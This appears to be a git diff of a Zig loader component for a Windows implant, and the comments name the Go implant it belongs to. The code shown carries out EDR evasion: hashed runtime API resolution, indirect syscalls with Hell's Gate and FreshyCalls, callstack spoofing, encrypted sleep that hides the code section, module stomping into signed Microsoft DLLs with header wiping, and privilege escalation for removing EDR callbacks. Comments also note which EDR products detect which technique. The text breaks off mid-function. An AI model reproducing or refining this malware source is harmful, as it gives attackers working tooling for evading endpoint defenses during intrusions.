e_oeminfo: u16,
e_res2: [10]u16,
e_lfanew: i32,
};
pub const IMAGE_FILE_HEADER = extern struct {
Machine: u16,
NumberOfSections: u16,
TimeDateStamp: u32,
PointerToSymbolTable: u32,
NumberOfSymbols: u32,
SizeOfOptionalHeader: u16,
Characteristics: u16,
};
pub const IMAGE_DATA_DIRECTORY = extern struct {
VirtualAddress: u32,
Size: u32,
};
pub const IMAGE_OPTIONAL_HEADER64 = extern struct {
Magic: u16,
MajorLinkerVersion: u8,
MinorLinkerVersion: u8,
SizeOfCode: u32,
SizeOfInitializedData: u32,
SizeOfUninitializedData: u32,
AddressOfEntryPoint: u32,
BaseOfCode: u32,
ImageBase: u64,
SectionAlignment: u32,
FileAlignment: u32,
MajorOperatingSystemVersion: u16,
MinorOperatingSystemVersion: u16,
MajorImageVersion: u16,
MinorImageVersion: u16,
MajorSubsystemVersion: u16,
MinorSubsystemVersion: u16,
Win32VersionValue: u32,
SizeOfImage: u32,
SizeOfHeaders: u32,
CheckSum: u32,
Subsystem: u16,
DllCharacteristics: u16,
SizeOfStackReserve: u64,
SizeOfStackCommit: u64,
SizeOfHeapReserve: u64,
SizeOfHeapCommit: u64,
LoaderFlags: u32,
NumberOfRvaAndSizes: u32,
DataDirectory: [16]IMAGE_DATA_DIRECTORY,
};
pub const IMAGE_SECTION_HEADER = extern struct {
Name: [8]u8,
VirtualSize: u32,
VirtualAddress: u32,
SizeOfRawData: u32,
PointerToRawData: u32,
PointerToRelocations: u32,
PointerToLinenumbers: u32,
NumberOfRelocations: u16,
NumberOfLinenumbers: u16,
Characteristics: u32,
};
pub const IMAGE_EXPORT_DIRECTORY = extern struct {
Characteristics: u32,
TimeDateStamp: u32,
MajorVersion: u16,
MinorVersion: u16,
Name: u32,
Base: u32,
NumberOfFunctions: u32,
NumberOfNames: u32,
AddressOfFunctions: u32,
AddressOfNames: u32,
AddressOfNameOrdinals: u32,
};
pub const IMAGE_NT_HEADERS64 = extern struct {
Signature: u32,
FileHeader: IMAGE_FILE_HEADER,
OptionalHeader: IMAGE_OPTIONAL_HEADER64,
};
+5 -25
View File
@@ -1,18 +1,13 @@
// PEB-based module and function resolution. No static imports ??? everything resolved at runtime.
// PEB-based module and function resolution, everything resolved at runtime.
const std = @import("std");
const win = @import("win32.zig");
const pe = @import("pe.zig");
// Doubly-linked list node used by Windows loader structures.
// PEB_LDR_DATA chains these to track loaded modules in three orderings.
pub const LIST_ENTRY = extern struct {
Flink: *LIST_ENTRY,
Blink: *LIST_ENTRY,
};
// Loader data block hung off the PEB. Each module list is a circular linked list
// of LDR_DATA_TABLE_ENTRY nodes. InMemoryOrder is the safest to walk ??? InLoadOrder
// can race during DLL load/unload on other threads.
pub const PEB_LDR_DATA = extern struct {
Length: win.ULONG,
Initialized: win.BYTE,
@@ -23,9 +18,6 @@ pub const PEB_LDR_DATA = extern struct {
InInitializationOrderModuleList: LIST_ENTRY,
};
// One entry per loaded module. Contains the DLL base, image size, and its name.
// The InMemoryOrderLinks list_entry is embedded at a known offset from the struct start ???
// we subtract that offset to get back to the full LDR_DATA_TABLE_ENTRY.
pub const LDR_DATA_TABLE_ENTRY = extern struct {
InLoadOrderLinks: LIST_ENTRY,
InMemoryOrderLinks: LIST_ENTRY,
@@ -37,8 +29,7 @@ pub const LDR_DATA_TABLE_ENTRY = extern struct {
BaseDllName: win.UNICODE_STRING,
};
// The Process Environment Block lives at GS:0x60 on x64.
// Only the fields we actually touch are defined ??? the real struct is much larger.
// PEB at GS:0x60 on x64.
pub const PEB = extern struct {
Reserved1: [2]win.BYTE,
BeingDebugged: win.BYTE,
@@ -47,8 +38,7 @@ pub const PEB = extern struct {
Ldr: *PEB_LDR_DATA,
};
// ror13 hash of a module or function name. Case-insensitive ??? uppercases each byte before mixing.
// Same algorithm used by Hell's Gate and other manual-map tooling for consistency.
// ror13 hash, case-insensitive.
pub fn hash_ror13(input: []const u8) u32 {
var hash: u32 = 0;
for (input) |c| {
@@ -60,7 +50,6 @@ pub fn hash_ror13(input: []const u8) u32 {
return hash;
}
// Reads GS:[0x60] to return the PEB pointer.
pub fn get_peb() *PEB {
const ptr: usize = asm volatile ("mov %%gs:0x60, %[ptr]"
: [ptr] "=r" (-> usize),
@@ -68,17 +57,13 @@ pub fn get_peb() *PEB {
return @as(*PEB, @ptrFromInt(ptr));
}
// Walks InMemoryOrderModuleList looking for a DLL whose ror13-hashed BaseDllName matches.
// Returns the module's base address or null if not found.
pub fn get_module_by_hash(hash: u32) ?*anyopaque {
const peb_ptr = get_peb();
const ldr = peb_ptr.Ldr;
// Walk the circular linked list starting from InMemoryOrderModuleList
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
var entry = head.Flink;
while (entry != head) : (entry = entry.Flink) {
// Subtract the offset of InMemoryOrderLinks to get back to the LDR_DATA_TABLE_ENTRY
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
if (le.BaseDllName.Length == 0) continue;
@@ -100,8 +85,6 @@ pub fn get_module_by_hash(hash: u32) ?*anyopaque {
return null;
}
// Follows a forwarded export string ("module.function") to resolve the real target.
// Splits on the dot, hashes both halves, looks up the module, then the function within it.
fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque {
const forward_str = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(forward_rva)))));
const str = std.mem.sliceTo(forward_str, 0);
@@ -112,8 +95,6 @@ fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque {
return get_func_by_hash(dll_base, func_hash);
}
// Parses a module's export directory, hashes each exported name, and returns the matching
// function address. Handles forwarded exports (looking-glass exports that redirect to another DLL).
pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque {
const base_bytes = @as([*]u8, @ptrCast(base));
const dos = @as(*pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes)));
@@ -157,8 +138,7 @@ pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque {
var cached_kernel32: ?*anyopaque = null;
var cached_ntdll: ?*anyopaque = null;
// Three-tier lookup: specific module by hash ??? kernel32 ??? ntdll ??? full PEB module walk.
// Falls back to scanning every loaded module if the requested module isn't found or isn't loaded.
// Three-tier: specific module, then kernel32, then ntdll, then full PEB walk.
pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque {
if (module_hash != 0) {
if (get_module_by_hash(module_hash)) |base| {
@@ -191,4 +171,4 @@ pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque {
}
return null;
}
}
+41 -79
View File
@@ -2,103 +2,65 @@ const api = @import("api.zig");
const syscall = @import("syscall.zig");
const win = @import("win32.zig");
var g_text_base: ?[*]u8 = null;
var g_text_size: usize = 0;
var g_go_text_base: ?[*]u8 = null;
var g_go_text_size: usize = 0;
// Called from Go reflective loader — DLL .text bounds.
pub fn init_text_region(base: [*]u8, size: usize) void {
g_text_base = base;
g_text_size = size;
const RTL_ENCRYPT_MEMORY_SIZE: win.ULONG = 8;
// Pad size to multiple of RTL_ENCRYPT_MEMORY_SIZE.
fn padded_size(size: usize) win.ULONG {
const s: win.ULONG = @intCast(size);
return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(win.ULONG, RTL_ENCRYPT_MEMORY_SIZE - 1);
}
// Called from Go — implant's own .text bounds.
pub fn init_go_text_region(base: [*]u8, size: usize) void {
pub fn init_text_region(base: [*]u8, size: usize) void {
g_go_text_base = base;
g_go_text_size = size;
}
fn encrypt_region(base: [*]u8, size: usize, key: *[16]u8) void {
var img: api.USTRING = .{
.Buffer = base,
.Length = @as(u32, @intCast(size)),
.MaximumLength = @as(u32, @intCast(size)),
};
var key_struct: api.USTRING = .{
.Buffer = key,
.Length = 16,
.MaximumLength = 16,
};
var base_ptr: ?*anyopaque = @ptrCast(base);
var region_size: win.SIZE_T = size;
var old: win.DWORD = 0;
_ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(), &base_ptr, &region_size,
win.PAGE_READWRITE, &old,
);
if (api.sleep_SystemFunction032) |rc4| _ = rc4(&img, &key_struct);
}
fn decrypt_restore(base: [*]u8, size: usize, key: *[16]u8) void {
var img: api.USTRING = .{
.Buffer = base,
.Length = @as(u32, @intCast(size)),
.MaximumLength = @as(u32, @intCast(size)),
};
var key_struct: api.USTRING = .{
.Buffer = key,
.Length = 16,
.MaximumLength = 16,
};
if (api.sleep_SystemFunction032) |rc4| _ = rc4(&img, &key_struct);
var base_ptr: ?*anyopaque = @ptrCast(base);
var region_size: win.SIZE_T = size;
var old: win.DWORD = 0;
_ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(), &base_ptr, &region_size,
win.PAGE_EXECUTE_READ, &old,
);
}
// RC4-encrypted sleep.
// Encrypts Go .text and DLL .text, sleeps via NtDelayExecution, decrypts both regions.
// Stack zeroing (EDR frame walk guard) is handled by the asm trampoline in hells_gate.s:
// it captures entry RSP, zeroes the return address before reaching us, and restores it
// after we return.
// Ref: SystemFunction032 (Windows RC4), ThreadStackSpoofer (mgeeky)
// ChaCha20-encrypts .text via SystemFunction040, sleeps via NtDelayExecution,
// decrypts on wake. During sleep .text is PAGE_NOACCESS.
pub fn evasion_sleep(ms: u32) void {
var dll_key: [16]u8 = undefined;
var go_key: [16]u8 = undefined;
for (0..16) |i| {
dll_key[i] = @as(u8, @truncate(syscall.xorshift64()));
go_key[i] = @as(u8, @truncate(syscall.xorshift64()));
if (g_go_text_base == null or g_go_text_size == 0) {
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
_ = syscall.nt_delay_execution(0, &interval);
return;
}
// Encrypt Go .text first if bounds are set.
if (g_go_text_base != null and g_go_text_size > 0) {
encrypt_region(g_go_text_base.?, g_go_text_size, &go_key);
}
const base = g_go_text_base.?;
const size = g_go_text_size;
const padded = padded_size(size);
// Encrypt DLL .text.
if (g_text_base != null and g_text_size > 0) {
encrypt_region(g_text_base.?, g_text_size, &dll_key);
// Encrypt .text with ChaCha20
if (api.sleep_SystemFunction040) |enc| {
_ = enc(base, padded, 0);
}
var ptr: ?*anyopaque = base;
var sz: win.SIZE_T = size;
var old: win.ULONG = 0;
_ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(),
&ptr,
&sz,
win.PAGE_NOACCESS,
&old,
);
// Sleep via indirect syscall — no Go runtime active.
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
_ = syscall.nt_delay_execution(0, &interval);
// Decrypt DLL .text.
if (g_text_base != null and g_text_size > 0) {
decrypt_restore(g_text_base.?, g_text_size, &dll_key);
}
ptr = base;
sz = size;
_ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(),
&ptr,
&sz,
win.PAGE_EXECUTE_READ,
&old,
);
// Decrypt Go .text.
if (g_go_text_base != null and g_go_text_size > 0) {
decrypt_restore(g_go_text_base.?, g_go_text_size, &go_key);
// Decrypt .text with ChaCha20
if (api.sleep_SystemFunction041) |dec| {
_ = dec(base, padded, 0);
}
@memset(&dll_key, 0);
@memset(&go_key, 0);
}
+7 -19
View File
@@ -1,10 +1,6 @@
// Module stomping — copies .text into a signed Microsoft DLL, wipes PE headers.
// Reference: https://dtsec.us/2023-11-04-ModuleStompin/
// DETECTION: DbgMan (May 2026): "Backing-file integrity check: for image-backed regions,
// compare the in-memory bytes against the corresponding file offsets on disk. Divergence
// indicates module stomping." PE header zeroing is a known signature. RWX on signed
// Microsoft DLL triggers behavioral alert. Consider DLL sideloading or threadless
// injection as alternatives for modern EDR environments.
// Copies .text into a signed Microsoft DLL, wipes PE headers.
// Backing-file integrity checks catch this. PE header zeroing is a known signature.
// RWX on signed Microsoft DLL triggers behavioral alert.
const win = @import("win32.zig");
const resolve = @import("resolve.zig");
const syscall = @import("syscall.zig");
@@ -12,15 +8,11 @@ const pe = @import("pe.zig");
pub var g_evasion_relocated: bool = false;
// Core stomp flow: copies our .text into a target signed Microsoft DLL, then wipes our headers.
// our_base is the DLL base passed from the Go reflective loader (not PEB-discoverable).
// Targets are chosen from a shortlist of signed Microsoft DLLs that are always loaded in most processes.
pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
const targets = [_][]const u8{ "crypt32.dll", "dwrite.dll", "msvcp_win.dll" };
if (our_base == null) return null;
// Walk PEB to find a suitable signed Microsoft DLL target
const peb = resolve.get_peb();
const ldr = peb.Ldr;
const head = @as(*resolve.LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
@@ -34,7 +26,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue;
// Match against our target shortlist (crypt32, dwrite, msvcp_win)
if (target_base == null) {
const buf = le.BaseDllName.Buffer;
const len = le.BaseDllName.Length / 2;
@@ -47,7 +38,10 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
var c2 = target[ci];
if (c1 >= 'A' and c1 <= 'Z') c1 += 32;
if (c2 >= 'A' and c2 <= 'Z') c2 += 32;
if (c1 != c2) { matches = false; break; }
if (c1 != c2) {
matches = false;
break;
}
}
if (matches) {
target_base = le.DllBase;
@@ -63,7 +57,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
if (target_base == null) return null;
// Parse our own PE to locate the .text section
const own_bytes = @as([*]u8, @ptrCast(our_base.?));
const dos = @as(*const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(own_bytes)));
if (dos.e_magic != 0x5A4D) return null;
@@ -74,7 +67,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
const sections = @as([*]const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(own_bytes + section_off)));
// Scan section table for .text
var text_start: ?*anyopaque = null;
var text_size: usize = 0;
for (0..nt.FileHeader.NumberOfSections) |i| {
@@ -87,7 +79,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
if (text_start == null or text_size == 0) return null;
// Step 1: Make target memory RWX so we can write into it
var target_mut: ?*anyopaque = target_base;
var region_size: win.SIZE_T = target_size;
var old_prot: win.ULONG = 0;
@@ -100,12 +91,10 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
);
if (!win.NT_SUCCESS(st)) return null;
// Step 2: Copy our .text into the target DLL's memory range
const dest = @as([*]u8, @ptrCast(target_mut orelse target_base.?));
const src = @as([*]const u8, @ptrCast(text_start.?));
@memcpy(dest[0..text_size], src[0..text_size]);
// Step 3: Restore target to RX so it looks normal to memory scanners
var restore_mut: ?*anyopaque = target_mut orelse target_base.?;
var restore_size: win.SIZE_T = target_size;
var new_old: win.ULONG = 0;
@@ -117,7 +106,6 @@ pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
&new_old,
);
// Step 4: Zero out our original headers so scanners can't find a rogue DLL header
const old_bytes = @as([*]u8, @ptrCast(our_base.?));
const e_lfanew = dos.e_lfanew;
@memset(old_bytes[0..64], 0);
+53 -113
View File
@@ -1,5 +1,4 @@
// Syscall dispatch ??? SSN extraction, indirect syscalls, EDR callback removal.
// References: HellsGate (am0nsec), FreshyCalls (0xdbgman), SysWhispers (jthuraisamy)
// Syscall dispatch, SSN extraction, indirect syscalls.
const std = @import("std");
const win = @import("win32.zig");
const resolve = @import("resolve.zig");
@@ -11,16 +10,14 @@ var g_ntdll_base: ?*anyopaque = null;
var g_init_done: bool = false;
var g_rand_state: u64 = 0;
// FreshyCalls table ??? ntdll Nt* exports sorted by RVA, SSN = position in sorted order
// FreshyCalls table, ntdll Nt* exports sorted by RVA. SSN = sort position.
const FRESHY_MAX: usize = 1024;
const FreshyEntry = struct { hash: u32, rva: u32 };
var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined;
var g_freshy_count: usize = 0;
var g_freshy_ready: bool = false;
// jmp r10 gadget (41 FF E2) found in ntdll at init ??? used as CFG-safe IC neutralizer
var g_jmp_r10_gadget: usize = 0;
var g_fake_return_addr: usize = 0; // standalone ret (0xC3) in ntdll .text ??? callstack spoof
var g_fake_return_addr: usize = 0;
extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void;
extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize;
@@ -35,36 +32,41 @@ pub fn xorshift64() u64 {
}
var g_ntdll_size: usize = 0;
var g_exc_begin: usize = 0;
var g_exc_count: usize = 0;
pub var g_exc_begin: usize = 0;
pub var g_exc_count: usize = 0;
// FreshyCalls table builder ??? walks ntdll's export directory, collects Nt* exports
// with real code addresses (skips forwarded exports whose RVAs fall inside the export
// directory range). Sorts by RVA ascending. SSN = position in sorted order.
// Immune to inline hooking because it only reads the export directory and the RVA sort
// order is invariant ??? EDRs can't fake the linker's function layout.
// Reference: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
// FreshyCalls table builder. Walks ntdll export directory, collects Nt* exports
// with real code addresses. Sorts by RVA ascending. SSN = sort position.
// Immune to inline hooking, EDRs cannot change linker RVA order.
fn build_freshy_table() void {
const base = g_ntdll_base orelse return;
const base_bytes = @as([*]u8, @ptrCast(base));
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes)));
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes)));
if (dos.e_magic != 0x5A4D) return;
const NT_SIGNATURE: u32 = 0x00004550;
const nt = @as(*align(1) extern struct {
Signature: u32,
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
OptionalHeader: extern struct { Magic: u16, pad1: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
}, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
}, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != NT_SIGNATURE) return;
const export_dir = nt.OptionalHeader.DataDirectory[0];
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return;
const exp = @as(*align(1) extern struct {
Characteristics: u32, TimeDateStamp: u32, MajorVersion: u16, MinorVersion: u16,
Name: u32, Base: u32, NumberOfFunctions: u32, NumberOfNames: u32,
AddressOfFunctions: u32, AddressOfNames: u32, AddressOfNameOrdinals: u32,
}, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
Characteristics: u32,
TimeDateStamp: u32,
MajorVersion: u16,
MinorVersion: u16,
Name: u32,
Base: u32,
NumberOfFunctions: u32,
NumberOfNames: u32,
AddressOfFunctions: u32,
AddressOfNames: u32,
AddressOfNameOrdinals: u32,
}, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
if (exp.NumberOfNames == 0) return;
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames)))));
@@ -77,13 +79,13 @@ fn build_freshy_table() void {
while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) {
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i])))));
const name = std.mem.sliceTo(name_ptr, 0);
// Only Nt* exports ??? Zw* shares identical SSNs and would produce duplicate positions
// Only Nt* exports, Zw* shares identical SSNs and would produce duplicates
if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue;
const ordinal = ords[i];
if (ordinal >= exp.NumberOfFunctions) continue;
const rva = funcs[ordinal];
// Skip forwarded exports ??? their RVAs point inside the export directory
// Skip forwarded exports, RVAs point inside the export directory
if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue;
g_freshy_entries[g_freshy_count] = FreshyEntry{
@@ -93,7 +95,7 @@ fn build_freshy_table() void {
g_freshy_count += 1;
}
// Sort by RVA ascending ??? SSN = position in sorted order
// Sort by RVA ascending, SSN = position in sorted order
if (g_freshy_count > 1) {
var bubble_i: usize = 0;
while (bubble_i < g_freshy_count - 1) : (bubble_i += 1) {
@@ -113,7 +115,7 @@ fn build_freshy_table() void {
g_freshy_ready = true;
}
// FreshyCalls lookup ??? linear scan by hash in the sorted table, returns SSN.
// FreshyCalls lookup, linear scan by hash in sorted table. Returns SSN.
fn extract_ssn_freshy(func_hash: u32) ?u16 {
if (!g_freshy_ready) return null;
for (0..g_freshy_count) |i| {
@@ -124,14 +126,13 @@ fn extract_ssn_freshy(func_hash: u32) ?u16 {
return null;
}
const RUNTIME_FUNCTION = extern struct {
pub const RUNTIME_FUNCTION = extern struct {
BeginAddress: u32,
EndAddress: u32,
UnwindInfoAddress: u32,
};
// then falls back to HAL's Gate exception directory binary search with 0xB8 scan.
// Reference (FreshyCalls): https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
// Falls back to HAL's Gate, binary search exception directory with 0xB8 scan.
pub fn extract_ssn(func_hash: u32) ?u16 {
if (!init_syscall()) return null;
@@ -175,10 +176,8 @@ pub fn extract_ssn(func_hash: u32) ?u16 {
return null;
}
// Scans all of ntdll for "syscall; ret" (0F 05 C3) byte sequences, stores their addresses
// in g_syscall_addrs. Also seeds the PRNG, builds FreshyCalls table, caches exception
// directory for HAL's Gate fallback, and finds jmp r10 gadget for CFG-aware IC removal.
// Runs once ??? subsequent calls no-op.
// Seeds PRNG, builds FreshyCalls table, caches exception directory.
// Runs once, subsequent calls no-op.
pub fn init_syscall() bool {
if (g_init_done and g_ntdll_base != null) return true;
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
@@ -193,20 +192,18 @@ pub fn init_syscall() bool {
g_rand_state ^= GetTickCount64();
}
// Scan .text section for syscall gadgets ??? bounds from section headers below
// so we never match 0F 05 C3 data constants in .rdata/.data.
// Scan .text for syscall;ret (0F 05 C3) gadgets, scoped to .text section
const base_bytes = @as([*]const u8, @ptrCast(g_ntdll_base.?));
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes)));
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes)));
if (dos.e_magic != 0x5A4D) return false;
const NT_SIGNATURE: u32 = 0x00004550;
const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 } }, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 } }, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != NT_SIGNATURE) return false;
g_ntdll_size = nt.OptionalHeader.SizeOfImage;
g_syscall_count = 0;
// Walk section headers to find .text and .pdata bounds ??? scopes the
// gadget scans below so we don't match data constants in .rdata/.data.
// Walk section headers to find .text and .pdata bounds
{
const section_start = @as(usize, @intCast(@intFromPtr(nt) + 24 + 240));
const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, SizeOfRawData: u32, PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32 }, @ptrFromInt(section_start));
@@ -225,7 +222,7 @@ pub fn init_syscall() bool {
}
if (text_va == 0 or text_size == 0) return false;
// Scan .text for "syscall; ret" (0F 05 C3) gadgets
// Scan .text for syscall;ret (0F 05 C3) gadgets
var j: usize = text_va;
const scan_end: usize = text_va + text_size;
while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) {
@@ -233,45 +230,31 @@ pub fn init_syscall() bool {
g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]);
g_syscall_count += 1;
}
// Callstack spoof: find a standalone 0xC3 (ret) not part of
// syscall;ret. Pushed before jmp so kernel sees ntdll frames.
// Find standalone ret (0xC3) not part of syscall;ret for callstack spoof
if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) {
if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) {
g_fake_return_addr = @intFromPtr(&base_bytes[j]);
}
}
}
// Scan .text for jmp r10 gadget (41 FF E2) ??? CFG-aware IC nullifier
var scan_i: usize = text_va;
while (scan_i < scan_end - 3) : (scan_i += 1) {
if (base_bytes[scan_i] == 0x41 and base_bytes[scan_i + 1] == 0xFF and base_bytes[scan_i + 2] == 0xE2) {
g_jmp_r10_gadget = @intFromPtr(&base_bytes[scan_i]);
break;
}
}
}
if (g_syscall_count == 0) return false;
// Build FreshyCalls table ??? Nt* exports sorted by RVA, SSN = position
// Build FreshyCalls table
build_freshy_table();
g_init_done = true;
return true;
}
// Core dispatcher: extract SSN ??? pick random syscall gadget ??? hells_gate to encrypt SSN ???
// pack up to 11 args ??? call hell_descent assembly stub. Gadget address and SSN are XOR'd
// with a mask stored in the assembly data section (stack-based masking, not a real cipher).
// Syscall dispatch. Extracts SSN, picks random gadget from pool, calls asm stub.
pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize {
const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001);
const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count;
const gadget = g_syscall_addrs[idx];
// Callstack spoof: push a standalone ret from ntdll .text so the kernel sees
// ntdll frames on top. Gate to <5 args ??? 5+ arg syscalls have stack-based args
// at RSP+0x28+index*8 that our push would shift by 8 bytes.
// Ref: WithSecure CallStackSpoofer ??? https://github.com/WithSecureLabs/CallStackSpoofer
// Callstack spoof: push standalone ret from ntdll so kernel sees ntdll frames.
// Gated to <5 args, 5+ arg syscalls have stack args RSP+0x28+idx*8 shifted by push.
const fake: usize = if (arg_count < 5) g_fake_return_addr else 0;
hells_gate(@as(u32, ssn), gadget, fake);
const a = [11]usize{
@@ -297,7 +280,7 @@ fn ntstatus(r: usize) win.NTSTATUS {
// --------- NT API wrappers ---------
// Each packs its NT params into a [N]usize array and calls syscall_dispatch with a ror13 hash.
// Standard sleep syscall. Spoofed ??? EDRs commonly hook SleepEx and derivatives.
// Standard sleep syscall.
pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INTEGER) win.NTSTATUS {
const args = [_]usize{ @intFromBool(alertable != 0), @intFromPtr(interval) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2));
@@ -315,15 +298,19 @@ pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, inf
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4));
}
// Closes a handle. Spoofed ??? EDRs monitor this as a way to detect handle leaks from unknown sources.
// Closes a handle.
pub fn nt_close(handle: win.HANDLE) win.NTSTATUS {
const args = [_]usize{@intFromPtr(handle)};
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1));
}
// Pseudo-handles: no need to open, just use these constants
pub fn nt_current_process() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF)); }
pub fn nt_current_thread() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE)); }
pub fn nt_current_process() win.HANDLE {
return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF));
}
pub fn nt_current_thread() win.HANDLE {
return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE));
}
// Opens a handle to another process by PID.
pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *const win.OBJECT_ATTRIBUTES, client_id: *const win.CLIENT_ID) win.NTSTATUS {
@@ -337,77 +324,30 @@ pub fn nt_set_information_process(process_handle: win.HANDLE, info_class: u32, i
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationProcess"), &args, 4));
}
// Escalates SeDebugPrivilege so that NtSetInformationProcess(InfoClass=40) can clear EDR
// process instrumentation callbacks. Silently skipped if any step fails — privilege escalation
// is best-effort (requires admin/elevated token on most systems).
// ponytail: heavily monitored — every major EDR watches NtSetInformationProcess(InfoClass=40)
// specifically. The call still works technically on Win10/Win11 but triggers immediate
// detection on CrowdStrike, Defender ATP, and SentinelOne. Runs last in startup chain so
// the "silence" isn't immediately flagged. Consider removing once further engagement
// data confirms this technique burns implants.
fn escalate_debug_priv() void {
const getcp = api.priv_get_current_process orelse return;
const open_tok = api.exec_open_process_token orelse return;
const lookup = api.priv_lookup_privilege_value_w orelse return;
const adjust = api.priv_adjust_token_privileges orelse return;
var h_token: win.HANDLE = undefined;
if (open_tok(getcp(), win.TOKEN_ADJUST_PRIVILEGES | win.TOKEN_QUERY, &h_token) == 0) return;
defer _ = nt_close(h_token);
var luid: win.LUID = undefined;
if (lookup(null, &[_:0]u16{ 'S', 'e', 'D', 'e', 'b', 'u', 'g', 'P', 'r', 'i', 'v', 'i', 'l', 'e', 'g', 'e' }, &luid) == 0) return;
var tp = win.TOKEN_PRIVILEGES{
.PrivilegeCount = 1,
